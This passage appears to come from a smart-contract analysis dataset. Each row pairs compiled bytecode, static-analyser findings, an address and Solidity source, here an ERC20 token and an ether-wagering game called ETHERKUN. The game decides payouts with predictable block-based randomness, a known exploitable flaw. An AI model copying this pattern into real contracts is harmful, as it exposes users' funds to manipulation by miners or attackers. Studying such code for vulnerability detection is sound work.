000000000000000000008152600401611d5c9190612338565b60405180910390fd5b5060008385611d749190612da4565b9050809150509392505050565b6000806000611d8e611ee9565b91509150611da581836112fc90919063ffffffff16565b9250505090565b60008083118290611df3576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611dea9190612338565b60405180910390fd5b5060008385611e029190612e07565b9050809150509392505050565b6000806000611e3b6003611e2d6064876112fc90919063ffffffff16565b6121bc90919063ffffffff16565b90506000611e52828661134690919063ffffffff16565b90508082935093505050915091565b600080600080611e7a85886121bc90919063ffffffff16565b90506000611e9186886121bc90919063ffffffff16565b90506000611ea8828461134690919063ffffffff16565b905082818395509550955050505093509350939050565b6000600160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16905090565b6000806000600e54905060006969e10de76676d0800000905060005b600b8054905081101561216f578260076000600b8481548110611f2b57611f2a612e38565b5b9060005260206000200160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054118061201957508160086000600b8481548110611fb157611fb0612e38565b5b9060005260206000200160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054115b1561203857600e546969e10de76676d0800000945094505050506121b8565b6120c860076000600b848154811061205357612052612e38565b5b9060005260206000200160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020548461134690919063ffffffff16565b925061215a60086000600b84815481106120e5576120e4612e38565b5b9060005260206000200160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020548361134690919063ffffffff16565b9150808061216790612e67565b915050611f05565b5061218f6969e10de76676d0800000600e546112fc90919063ffffffff16565b8210156121af57600e546969e10de76676d08000009350935050506121b8565b81819350935050505b9091565b6000808314156121cf5760009050612231565b600082846121dd9190612eb0565b90508284826121ec9190612e07565b1461222c576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161222390612f7c565b60405180910390fd5b809150505b92915050565b600080fd5b6000819050919050565b61224f8161223c565b811461225a57600080fd5b50565b60008135905061226c81612246565b92915050565b60006020828403121561228857612287612237565b5b60006122968482850161225d565b91505092915050565b600081519050919050565b600082825260208201905092915050565b60005b838110156122d95780820151818401526020810190506122be565b838111156122e8576000848401525b50505050565b6000601f19601f8301169050919050565b600061230a8261229f565b61231481856122aa565b93506123248185602086016122bb565b61232d816122ee565b840191505092915050565b6000602082019050818103600083015261235281846122ff565b905092915050565b600073ffffffffffffffffffffffffffffffffffffffff82169050919050565b60006123858261235a565b9050919050565b6123958161237a565b81146123a057600080fd5b50565b6000813590506123b28161238c565b92915050565b600080604083850312156123cf576123ce612237565b5b60006123dd858286016123a3565b92505060206123ee8582860161225d565b9150509250929050565b60008115159050919050565b61240d816123f8565b82525050565b60006020820190506124286000830184612404565b92915050565b6124378161223c565b82525050565b6000602082019050612452600083018461242e565b92915050565b60008060006060848603121561247157612470612237565b5b600061247f868287016123a3565b9350506020612490868287016123a3565b92505060406124a18682870161225d565b9150509250925092565b600060ff82169050919050565b6124c1816124ab565b82525050565b60006020820190506124dc60008301846124b8565b92915050565b6000602082840312156124f8576124f7612237565b5b6000612506848285016123a3565b91505092915050565b612518816123f8565b811461252357600080fd5b50565b6000813590506125358161250f565b92915050565b6000806040838503121561255257612551612237565b5b60006125608582860161225d565b925050602061257185828601612526565b9150509250929050565b60008060006060848603121561259457612593612237565b5b60006125a2868287016123a3565b93505060206125b38682870161225d565b92505060406125c48682870161225d565b9150509250925092565b6125d78161237a565b82525050565b60006020820190506125f260008301846125ce565b92915050565b6000806040838503121561260f5761260e612237565b5b600061261d858286016123a3565b925050602061262e858286016123a3565b9150509250929050565b7f4578636c75646564206164647265737365732063616e6e6f742063616c6c207460008201527f6869732066756e6374696f6e0000000000000000000000000000000000000000602082015250565b6000612694602c836122aa565b915061269f82612638565b604082019050919050565b600060208201905081810360008301526126c381612687565b9050919050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052602260045260246000fd5b6000600282049050600182168061271157607f821691505b60208210811415612725576127246126ca565b5b50919050565b7f416d6f756e74206d757374206265206c657373207468616e20746f74616c207260008201527f65666c656374696f6e7300000000000000000000000000000000000000000000602082015250565b6000612787602a836122aa565b91506127928261272b565b604082019050919050565b600060208201905081810360008301526127b68161277a565b9050919050565b7f43616c6c6572206973206e6f7420666565206469737472696275746f72000000600082015250565b60006127f3601d836122aa565b91506127fe826127bd565b602082019050919050565b60006020820190508181036000830152612822816127e6565b9050919050565b7f416d6f756e74206d757374206265206c657373207468616e20737570706c7900600082015250565b600061285f601f836122aa565b915061286a82612829565b602082019050919050565b6000602082019050818103600083015261288e81612852565b9050919050565b7f45524332303a206275726e2066726f6d20746865207a65726f2061646472657360008201527f7320646973616c6c6f7765640000000000000000000000000000000000000000602082015250565b60006128f1602c836122aa565b91506128fc82612895565b604082019050919050565b60006020820190508181036000830152612920816128e4565b9050919050565b7f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e6572600082015250565b600061295d6020836122aa565b915061296882612927565b602082019050919050565b6000602082019050818103600083015261298c81612950565b9050919050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052601160045260246000fd5b60006129cd8261223c565b91506129d88361223c565b9250827fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff03821115612a0d57612a0c612993565b5b828201905092915050565b7f536166654d6174683a206164646974696f6e206f766572666c6f770000000000600082015250565b6000612a4e601b836122aa565b9150612a5982612a18565b602082019050919050565b60006020820190508181036000830152612a7d81612a41565b9050919050565b7f45524332303a20617070726f76652066726f6d20746865207a65726f2061646460008201527f7265737300000000000000000000000000000000000000000000000000000000602082015250565b6000612ae06024836122aa565b9150612aeb82612a84565b604082019050919050565b60006020820190508181036000830152612b0f81612ad3565b9050919050565b7f45524332303a20617070726f766520746f20746865207a65726f20616464726560008201527f7373000000000000000000000000000000000000000000000000000000000000602082015250565b6000612b726022836122aa565b9150612b7d82612b16565b604082019050919050565b60006020820190508181036000830152612ba181612b65565b9050919050565b7f45524332303a207472616e736665722066726f6d20746865207a65726f20616460008201527f6472657373000000000000000000000000000000000000000000000000000000602082015250565b6000612c046025836122aa565b9150612c0f82612ba8565b604082019050919050565b60006020820190508181036000830152612c3381612bf7565b9050919050565b7f45524332303a207472616e7366657220746f20746865207a65726f206164647260008201527f6573730000000000000000000000000000000000000000000000000000000000602082015250565b6000612c966023836122aa565b9150612ca182612c3a565b604082019050919050565b60006020820190508181036000830152612cc581612c89565b9050919050565b7f5472616e7366657220616d6f756e74206d75737420626520677265617465722060008201527f7468616e207a65726f0000000000000000000000000000000000000000000000602082015250565b6000612d286029836122aa565b9150612d3382612ccc565b604082019050919050565b60006020820190508181036000830152612d5781612d1b565b9050919050565b50565b6000612d6e6000836122aa565b9150612d7982612d5e565b600082019050919050565b60006020820190508181036000830152612d9d81612d61565b9050919050565b6000612daf8261223c565b9150612dba8361223c565b925082821015612dcd57612dcc612993565b5b828203905092915050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052601260045260246000fd5b6000612e128261223c565b9150612e1d8361223c565b925082612e2d57612e2c612dd8565b5b828204905092915050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052603260045260246000fd5b6000612e728261223c565b91507fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff821415612ea557612ea4612993565b5b600182019050919050565b6000612ebb8261223c565b9150612ec68361223c565b9250817fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff0483118215151615612eff57612efe612993565b5b828202905092915050565b7f536166654d6174683a206d756c7469706c69636174696f6e206f766572666c6f60008201527f7700000000000000000000000000000000000000000000000000000000000000602082015250565b6000612f666021836122aa565b9150612f7182612f0a565b604082019050919050565b60006020820190508181036000830152612f9581612f59565b905091905056fe45524332303a206275726e20616d6f756e7420657863656564732062616c616e636545524332303a207472616e7366657220616d6f756e7420657863656564732062616c616e636545524332303a207472616e7366657220616d6f756e74206578636565647320616c6c6f77616e636545524332303a2064656372656173656420616c6c6f77616e63652062656c6f77207a65726fa2646970667358221220633e8eafdcd3b0ef5191a74ef6ff80196e87a376f2fd9f086b1f6e5bb17ed6e764736f6c63430008080033
|
{"success": true, "error": null, "results": {"detectors": [{"check": "divide-before-multiply", "impact": "Medium", "confidence": "Medium"}]}}
| 5,995 |
0xad7dc6f0422dce60586893312617b9ae48998289
|
pragma solidity ^0.4.18;
/**
* @title SafeMath
* @dev Math operations with safety checks that throw on error
*/
library SafeMath {
/**
* @dev Multiplies two numbers, throws on overflow.
*/
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
if (a == 0) {
return 0;
}
uint256 c = a * b;
assert(c / a == b);
return c;
}
/**
* @dev Integer division of two numbers, truncating the quotient.
*/
function div(uint256 a, uint256 b) internal pure returns (uint256) {
// assert(b > 0); // Solidity automatically throws when dividing by 0
uint256 c = a / b;
// assert(a == b * c + a % b); // There is no case in which this doesn't hold
return c;
}
/**
* @dev Subtracts two numbers, throws on overflow (i.e. if subtrahend is greater than minuend).
*/
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
assert(b <= a);
return a - b;
}
/**
* @dev Adds two numbers, throws on overflow.
*/
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
assert(c >= a);
return c;
}
}
/**
* @title ERC20Basic
* @dev Simpler version of ERC20 interface
* @dev see https://github.com/ethereum/EIPs/issues/179
*/
contract ERC20Basic {
function totalSupply() public view returns (uint256);
function balanceOf(address who) public view returns (uint256);
function transfer(address to, uint256 value) public returns (bool);
event Transfer(address indexed from, address indexed to, uint256 value);
}
/**
* @title Basic token
* @dev Basic version of StandardToken, with no allowances.
*/
contract BasicToken is ERC20Basic {
using SafeMath for uint256;
mapping(address => uint256) balances;
uint256 totalSupply_;
/**
* @dev total number of tokens in existence
*/
function totalSupply() public view returns (uint256) {
return totalSupply_;
}
/**
* @dev transfer token for a specified address
* @param _to The address to transfer to.
* @param _value The amount to be transferred.
*/
function transfer(address _to, uint256 _value) public returns (bool) {
require(_to != address(0));
require(_value <= balances[msg.sender]);
// SafeMath.sub will throw if there is not enough balance.
balances[msg.sender] = balances[msg.sender].sub(_value);
balances[_to] = balances[_to].add(_value);
Transfer(msg.sender, _to, _value);
return true;
}
/**
* @dev Gets the balance of the specified address.
* @param _owner The address to query the the balance of.
* @return An uint256 representing the amount owned by the passed address.
*/
function balanceOf(address _owner) public view returns (uint256 balance) {
return balances[_owner];
}
}
/**
* @title ERC20 interface
* @dev see https://github.com/ethereum/EIPs/issues/20
*/
contract ERC20 is ERC20Basic {
function allowance(address owner, address spender) public view returns (uint256);
function transferFrom(address from, address to, uint256 value) public returns (bool);
function approve(address spender, uint256 value) public returns (bool);
event Approval(address indexed owner, address indexed spender, uint256 value);
}
/**
* @title Standard ERC20 token
*
* @dev Implementation of the basic standard token.
* @dev https://github.com/ethereum/EIPs/issues/20
* @dev Based on code by FirstBlood: https://github.com/Firstbloodio/token/blob/master/smart_contract/FirstBloodToken.sol
*/
contract StandardToken is ERC20, BasicToken {
mapping (address => mapping (address => uint256)) internal allowed;
/**
* @dev Transfer tokens from one address to another
* @param _from address The address which you want to send tokens from
* @param _to address The address which you want to transfer to
* @param _value uint256 the amount of tokens to be transferred
*/
function transferFrom(address _from, address _to, uint256 _value) public returns (bool) {
require(_to != address(0));
require(_value <= balances[_from]);
require(_value <= allowed[_from][msg.sender]);
balances[_from] = balances[_from].sub(_value);
balances[_to] = balances[_to].add(_value);
allowed[_from][msg.sender] = allowed[_from][msg.sender].sub(_value);
Transfer(_from, _to, _value);
return true;
}
/**
* @dev Approve the passed address to spend the specified amount of tokens on behalf of msg.sender.
*
* Beware that changing an allowance with this method brings the risk that someone may use both the old
* and the new allowance by unfortunate transaction ordering. One possible solution to mitigate this
* race condition is to first reduce the spender's allowance to 0 and set the desired value afterwards:
* https://github.com/ethereum/EIPs/issues/20#issuecomment-263524729
* @param _spender The address which will spend the funds.
* @param _value The amount of tokens to be spent.
*/
function approve(address _spender, uint256 _value) public returns (bool) {
allowed[msg.sender][_spender] = _value;
Approval(msg.sender, _spender, _value);
return true;
}
/**
* @dev Function to check the amount of tokens that an owner allowed to a spender.
* @param _owner address The address which owns the funds.
* @param _spender address The address which will spend the funds.
* @return A uint256 specifying the amount of tokens still available for the spender.
*/
function allowance(address _owner, address _spender) public view returns (uint256) {
return allowed[_owner][_spender];
}
/**
* @dev Increase the amount of tokens that an owner allowed to a spender.
*
* approve should be called when allowed[_spender] == 0. To increment
* allowed value is better to use this function to avoid 2 calls (and wait until
* the first transaction is mined)
* From MonolithDAO Token.sol
* @param _spender The address which will spend the funds.
* @param _addedValue The amount of tokens to increase the allowance by.
*/
function increaseApproval(address _spender, uint _addedValue) public returns (bool) {
allowed[msg.sender][_spender] = allowed[msg.sender][_spender].add(_addedValue);
Approval(msg.sender, _spender, allowed[msg.sender][_spender]);
return true;
}
/**
* @dev Decrease the amount of tokens that an owner allowed to a spender.
*
* approve should be called when allowed[_spender] == 0. To decrement
* allowed value is better to use this function to avoid 2 calls (and wait until
* the first transaction is mined)
* From MonolithDAO Token.sol
* @param _spender The address which will spend the funds.
* @param _subtractedValue The amount of tokens to decrease the allowance by.
*/
function decreaseApproval(address _spender, uint _subtractedValue) public returns (bool) {
uint oldValue = allowed[msg.sender][_spender];
if (_subtractedValue > oldValue) {
allowed[msg.sender][_spender] = 0;
} else {
allowed[msg.sender][_spender] = oldValue.sub(_subtractedValue);
}
Approval(msg.sender, _spender, allowed[msg.sender][_spender]);
return true;
}
}
contract GridyToken is StandardToken {
string public name = "Gridyltd";
string public symbol = "GIY";
uint8 public decimals = 18;
/**
* @dev Constructor, takes intial Token.
*/
function GridyToken() public {
totalSupply_ = 75000000 * 1 ether;
balances[msg.sender] = totalSupply_;
}
/**
* @dev Batch transfer some tokens to some addresses, address and value is one-on-one.
* @param _dests Array of addresses
* @param _values Array of transfer tokens number
*/
function batchTransfer(address[] _dests, uint256[] _values) public {
require(_dests.length == _values.length);
uint256 i = 0;
while (i < _dests.length) {
transfer(_dests[i], _values[i]);
i += 1;
}
}
/**
* @dev Batch transfer equal tokens amout to some addresses
* @param _dests Array of addresses
* @param _value Number of transfer tokens amount
*/
function batchTransferSingleValue(address[] _dests, uint256 _value) public {
uint256 i = 0;
while (i < _dests.length) {
transfer(_dests[i], _value);
i += 1;
}
}
}
|
0x6060604052600436106100c45763ffffffff7c010000000000000000000000000000000000000000000000000000000060003504166306fdde0381146100c9578063095ea7b31461015357806318160ddd1461018957806323b872dd146101ae578063313ce567146101d657806366188463146101ff57806370a082311461022157806388d695b2146102405780638fa1ae05146102d157806395d89b4114610322578063a9059cbb14610335578063d73dd62314610357578063dd62ed3e14610379575b600080fd5b34156100d457600080fd5b6100dc61039e565b60405160208082528190810183818151815260200191508051906020019080838360005b83811015610118578082015183820152602001610100565b50505050905090810190601f1680156101455780820380516001836020036101000a031916815260200191505b509250505060405180910390f35b341561015e57600080fd5b610175600160a060020a036004351660243561043c565b604051901515815260200160405180910390f35b341561019457600080fd5b61019c6104a8565b60405190815260200160405180910390f35b34156101b957600080fd5b610175600160a060020a03600435811690602435166044356104ae565b34156101e157600080fd5b6101e961062e565b60405160ff909116815260200160405180910390f35b341561020a57600080fd5b610175600160a060020a0360043516602435610637565b341561022c57600080fd5b61019c600160a060020a0360043516610731565b341561024b57600080fd5b6102cf60046024813581810190830135806020818102016040519081016040528093929190818152602001838360200280828437820191505050505050919080359060200190820180359060200190808060200260200160405190810160405280939291908181526020018383602002808284375094965061074c95505050505050565b005b34156102dc57600080fd5b6102cf600460248135818101908301358060208181020160405190810160405280939291908181526020018383602002808284375094965050933593506107ab92505050565b341561032d57600080fd5b6100dc6107df565b341561034057600080fd5b610175600160a060020a036004351660243561084a565b341561036257600080fd5b610175600160a060020a036004351660243561095c565b341561038457600080fd5b61019c600160a060020a0360043581169060243516610a00565b60038054600181600116156101000203166002900480601f0160208091040260200160405190810160405280929190818152602001828054600181600116156101000203166002900480156104345780601f1061040957610100808354040283529160200191610434565b820191906000526020600020905b81548152906001019060200180831161041757829003601f168201915b505050505081565b600160a060020a03338116600081815260026020908152604080832094871680845294909152808220859055909291907f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b9259085905190815260200160405180910390a350600192915050565b60015490565b6000600160a060020a03831615156104c557600080fd5b600160a060020a0384166000908152602081905260409020548211156104ea57600080fd5b600160a060020a038085166000908152600260209081526040808320339094168352929052205482111561051d57600080fd5b600160a060020a038416600090815260208190526040902054610546908363ffffffff610a2b16565b600160a060020a03808616600090815260208190526040808220939093559085168152205461057b908363ffffffff610a3d16565b600160a060020a03808516600090815260208181526040808320949094558783168252600281528382203390931682529190915220546105c1908363ffffffff610a2b16565b600160a060020a03808616600081815260026020908152604080832033861684529091529081902093909355908516917fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef9085905190815260200160405180910390a35060019392505050565b60055460ff1681565b600160a060020a0333811660009081526002602090815260408083209386168352929052908120548083111561069457600160a060020a0333811660009081526002602090815260408083209388168352929052908120556106cb565b6106a4818463ffffffff610a2b16565b600160a060020a033381166000908152600260209081526040808320938916835292905220555b600160a060020a0333811660008181526002602090815260408083209489168084529490915290819020547f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925915190815260200160405180910390a35060019392505050565b600160a060020a031660009081526020819052604090205490565b6000815183511461075c57600080fd5b5060005b82518110156107a65761079d83828151811061077857fe5b9060200190602002015183838151811061078e57fe5b9060200190602002015161084a565b50600101610760565b505050565b60005b82518110156107a6576107d68382815181106107c657fe5b906020019060200201518361084a565b506001016107ae565b60048054600181600116156101000203166002900480601f0160208091040260200160405190810160405280929190818152602001828054600181600116156101000203166002900480156104345780601f1061040957610100808354040283529160200191610434565b6000600160a060020a038316151561086157600080fd5b600160a060020a03331660009081526020819052604090205482111561088657600080fd5b600160a060020a0333166000908152602081905260409020546108af908363ffffffff610a2b16565b600160a060020a0333811660009081526020819052604080822093909355908516815220546108e4908363ffffffff610a3d16565b60008085600160a060020a0316600160a060020a031681526020019081526020016000208190555082600160a060020a031633600160a060020a03167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef8460405190815260200160405180910390a350600192915050565b600160a060020a033381166000908152600260209081526040808320938616835292905290812054610994908363ffffffff610a3d16565b600160a060020a0333811660008181526002602090815260408083209489168084529490915290819020849055919290917f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b92591905190815260200160405180910390a350600192915050565b600160a060020a03918216600090815260026020908152604080832093909416825291909152205490565b600082821115610a3757fe5b50900390565b600082820183811015610a4c57fe5b93925050505600a165627a7a72305820d15a69ec72dc8d0e8ec33db2a4ead33786c3f83b5d2c6664caa73ee757c0e4820029
|
{"success": true, "error": null, "results": {}}
| 5,996 |
0x9ce0b408a4f15d222f6624895687efa1e1a4247b
|
pragma solidity ^0.4.20;
library SafeMath {
/**0
* @dev Multiplies two numbers, throws on overflow.
*/
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
if (a == 0) {
return 0;
}
uint256 c = a * b;
assert(c / a == b);
return c;
}
/**
* @dev Integer division of two numbers, truncating the quotient.
*/
function div(uint256 a, uint256 b) internal pure returns (uint256) {
// assert(b > 0); // Solidity automatically throws when dividing by 0
uint256 c = a / b;
// assert(a == b * c + a % b); // There is no case in which this doesn't hold
return c;
}
/**
* @dev Substracts two numbers, throws on overflow (i.e. if subtrahend is greater than minuend).
*/
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
assert(b <= a);
return a - b;
}
/**
* @dev Adds two numbers, throws on overflow.
*/
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
assert(c >= a);
return c;
}
}
/**
* @title SafeMath32
* @dev SafeMath library implemented for uint32
*/
library SafeMath32 {
function mul(uint32 a, uint32 b) internal pure returns (uint32) {
if (a == 0) {
return 0;
}
uint32 c = a * b;
assert(c / a == b);
return c;
}
function div(uint32 a, uint32 b) internal pure returns (uint32) {
// assert(b > 0); // Solidity automatically throws when dividing by 0
uint32 c = a / b;
// assert(a == b * c + a % b); // There is no case in which this doesn't hold
return c;
}
function sub(uint32 a, uint32 b) internal pure returns (uint32) {
assert(b <= a);
return a - b;
}
function add(uint32 a, uint32 b) internal pure returns (uint32) {
uint32 c = a + b;
assert(c >= a);
return c;
}
}
/**
* @title SafeMath16
* @dev SafeMath library implemented for uint16
*/
library SafeMath16 {
function mul(uint16 a, uint16 b) internal pure returns (uint16) {
if (a == 0) {
return 0;
}
uint16 c = a * b;
assert(c / a == b);
return c;
}
function div(uint16 a, uint16 b) internal pure returns (uint16) {
// assert(b > 0); // Solidity automatically throws when dividing by 0
uint16 c = a / b;
// assert(a == b * c + a % b); // There is no case in which this doesn't hold
return c;
}
function sub(uint16 a, uint16 b) internal pure returns (uint16) {
assert(b <= a);
return a - b;
}
function add(uint16 a, uint16 b) internal pure returns (uint16) {
uint16 c = a + b;
assert(c >= a);
return c;
}
}
contract ETHERKUN {
address public owner;
event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);
/**
* @dev The Ownable constructor sets the original `owner` of the contract to the sender
* account.
*/
function ETHERKUN() public {
owner = msg.sender;
}
/**
* @dev Throws if called by any account other than the owner.
*/
modifier onlyOwner() {
require(msg.sender == owner);
_;
}
/**
* @dev Allows the current owner to transfer control of the contract to a newOwner.
* @param newOwner The address to transfer ownership to.
*/
function transferOwnership(address newOwner) public onlyOwner {
require(newOwner != address(0));
OwnershipTransferred(owner, newOwner);
owner = newOwner;
}
using SafeMath for uint256;
uint cooldownTime = 10 minutes;
struct kun {
uint price;
uint atk;
uint readyTime;
}
kun[] public kuns;
mapping (uint => address) public kunToOwner;
function getKun() external {
uint id = kuns.push(kun(0, 0, now)) - 1;
kunToOwner[id] = msg.sender;
}
//查询拥有的kun
function getKunsByOwner(address _owner) external view returns(uint[]) {
uint[] memory result = new uint[](kuns.length);
uint counter = 0;
for (uint i = 0; i < kuns.length; i++) {
if (kunToOwner[i] == _owner) {
result[counter] = i;
counter++;
}
}
return result;
}
function getKunsNum() external view returns(uint) {
return kuns.length;
}
//
function getBattleKuns(uint _price) external view returns(uint[]) {
uint[] memory result = new uint[](kuns.length);
uint counter = 0;
for (uint i = 0; i < kuns.length; i++) {
if (kuns[i].price > _price && kunToOwner[i] != msg.sender) {
result[counter] = i;
counter++;
}
}
return result;
}
uint randNonce = 0;
//Evolution price
uint public testFee = 0.001 ether;
event Evolution(address indexed owner, uint kunId,uint newAtk, uint oldAtk);
event KunSell(address indexed owner, uint kunId,uint price);
function randMod() internal returns(uint) {
randNonce = randNonce.add(1);
return uint(keccak256(now, randNonce, block.blockhash(block.number - 1), block.coinbase)) % 100;
}
//owner可以调整费率
function setTestFee(uint _fee) external onlyOwner {
testFee = _fee;
}
//检查必须是拥有者
modifier onlyOwnerOf(uint _kunId) {
require(msg.sender == kunToOwner[_kunId]);
_;
}
//进入冷却 change to uint
function _triggerCooldown(kun storage _kun) internal {
_kun.readyTime = uint(now + cooldownTime);
}
//test逻辑
function feed1(uint _kunId) external onlyOwnerOf(_kunId) payable {
require(msg.value == testFee);
kun storage mykun = kuns[_kunId];
uint oldAtk = mykun.atk;
uint random = randMod();
if (random < 20) {
mykun.atk = mykun.atk.add(50);
} else if (random < 70) {
mykun.atk = mykun.atk.add(100);
} else if (random < 90) {
mykun.atk = mykun.atk.add(200);
} else {
mykun.atk = mykun.atk.add(500);
}
mykun.price = mykun.price.add(msg.value);
_triggerCooldown(mykun);
Evolution(msg.sender, _kunId, mykun.atk, oldAtk);
}
function feed10(uint _kunId) external onlyOwnerOf(_kunId) payable {
require(msg.value == testFee * 10);
kun storage mykun = kuns[_kunId];
uint oldAtk = mykun.atk;
uint random = randMod();
if (random < 20) {
mykun.atk = mykun.atk.add(550);
} else if (random < 70) {
mykun.atk = mykun.atk.add(1100);
} else if (random < 90) {
mykun.atk = mykun.atk.add(2200);
} else {
mykun.atk = mykun.atk.add(5500);
}
mykun.price = mykun.price.add(msg.value);
_triggerCooldown(mykun);
Evolution(msg.sender, _kunId, mykun.atk, oldAtk);
}
function feed50(uint _kunId) external onlyOwnerOf(_kunId) payable {
require(msg.value == testFee * 50);
kun storage mykun = kuns[_kunId];
uint oldAtk = mykun.atk;
uint random = randMod();
if (random < 20) {
mykun.atk = mykun.atk.add(2750);
} else if (random < 70) {
mykun.atk = mykun.atk.add(5500);
} else if (random < 90) {
mykun.atk = mykun.atk.add(11000);
} else {
mykun.atk = mykun.atk.add(27500);
}
mykun.price = mykun.price.add(msg.value);
_triggerCooldown(mykun);
Evolution(msg.sender, _kunId, mykun.atk, oldAtk);
}
function feed100(uint _kunId) external onlyOwnerOf(_kunId) payable {
require(msg.value == testFee * 100);
kun storage mykun = kuns[_kunId];
uint oldAtk = mykun.atk;
uint random = randMod();
if (random < 20) {
mykun.atk = mykun.atk.add(6000);
} else if (random < 70) {
mykun.atk = mykun.atk.add(12000);
} else if (random < 90) {
mykun.atk = mykun.atk.add(24000);
} else {
mykun.atk = mykun.atk.add(60000);
}
mykun.price = mykun.price.add(msg.value);
_triggerCooldown(mykun);
Evolution(msg.sender, _kunId, mykun.atk, oldAtk);
}
function feed100AndPay(uint _kunId) external onlyOwnerOf(_kunId) payable {
require(msg.value == testFee * 110);
kun storage mykun = kuns[_kunId];
uint oldAtk = mykun.atk;
mykun.atk = mykun.atk.add(60000);
mykun.price = mykun.price.add(testFee * 100);
owner.transfer(testFee * 10);
_triggerCooldown(mykun);
Evolution(msg.sender, _kunId, mykun.atk, oldAtk);
}
//sellKun
function sellKun(uint _kunId) external onlyOwnerOf(_kunId) {
kun storage mykun = kuns[_kunId];
if(now > mykun.readyTime) {
msg.sender.transfer(mykun.price);
KunSell( msg.sender, _kunId, mykun.price);
} else{
uint award = mykun.price * 19 / 20;
msg.sender.transfer(award);
owner.transfer(mykun.price - award);
KunSell( msg.sender, _kunId, mykun.price * 19 / 20);
}
mykun.price = 0;
mykun.atk = 0;
kunToOwner[_kunId] = 0;
}
event kunAttackResult(address indexed _from,uint atk1, address _to, uint atk2, uint random, uint price);
//判断是否ready
function _isReady(kun storage _kun) internal view returns (bool) {
return (_kun.readyTime <= now);
}
//attack
function attack(uint _kunId, uint _targetId) external onlyOwnerOf(_kunId) {
kun storage mykun = kuns[_kunId];
kun storage enemykun = kuns[_targetId];
require(_isReady(enemykun));
require(enemykun.atk > 299 && mykun.atk > 0);
uint rand = randMod();
uint probability = mykun.atk * 100 /(mykun.atk + enemykun.atk) ;
if (rand < probability) {
//win
msg.sender.transfer(enemykun.price);
kunAttackResult(msg.sender, mykun.atk, kunToOwner[_targetId], enemykun.atk, rand, enemykun.price);
enemykun.price = 0;
enemykun.atk = 0;
mykun.readyTime = now;
} else {
//loss
uint award1 = mykun.price*9/10;
kunToOwner[_targetId].transfer(award1);
owner.transfer(mykun.price - award1);
kunAttackResult(msg.sender, mykun.atk, kunToOwner[_targetId], enemykun.atk, rand, mykun.price*9/10);
mykun.price = 0;
mykun.atk = 0;
}
}
}
|
0x6060604052600436106100f1576000357c0100000000000000000000000000000000000000000000000000000000900463ffffffff16806309a38f26146100f657806309beb01b1461010e5780631e8412711461012657806322a993ca1461014957806324a20a251461015e5780632dac17cd146101765780633f77e1e9146101ee578063450a03dd14610217578063503609cc1461024057806357cff4371461028557806363cf6d6d14610313578063763cf9aa146103765780638da5cb5b1461038e578063b67cb359146103e3578063e1fa7638146103fb578063e303cccd14610427578063f2fde38b1461044a575b600080fd5b61010c6004808035906020019091905050610483565b005b6101246004808035906020019091905050610649565b005b341561013157600080fd5b6101476004808035906020019091905050610841565b005b341561015457600080fd5b61015c6108a6565b005b6101746004808035906020019091905050610969565b005b341561018157600080fd5b6101976004808035906020019091905050610b61565b6040518080602001828103825283818151815260200191508051906020019060200280838360005b838110156101da5780820151818401526020810190506101bf565b505050509050019250505060405180910390f35b34156101f957600080fd5b610201610c81565b6040518082815260200191505060405180910390f35b341561022257600080fd5b61022a610c87565b6040518082815260200191505060405180910390f35b341561024b57600080fd5b6102616004808035906020019091905050610c94565b60405180848152602001838152602001828152602001935050505060405180910390f35b341561029057600080fd5b6102bc600480803573ffffffffffffffffffffffffffffffffffffffff16906020019091905050610ccd565b6040518080602001828103825283818151815260200191508051906020019060200280838360005b838110156102ff5780820151818401526020810190506102e4565b505050509050019250505060405180910390f35b341561031e57600080fd5b6103346004808035906020019091905050610dc1565b604051808273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200191505060405180910390f35b61038c6004808035906020019091905050610df4565b005b341561039957600080fd5b6103a1610fec565b604051808273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200191505060405180910390f35b6103f96004808035906020019091905050611011565b005b341561040657600080fd5b6104256004808035906020019091908035906020019091905050611203565b005b341561043257600080fd5b6104486004808035906020019091905050611656565b005b341561045557600080fd5b610481600480803573ffffffffffffffffffffffffffffffffffffffff16906020019091905050611929565b005b600080826003600082815260200190815260200160002060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff161415156104f457600080fd5b606e600554023414151561050757600080fd5b60028481548110151561051657fe5b906000526020600020906003020192508260010154915061054661ea608460010154611a7e90919063ffffffff16565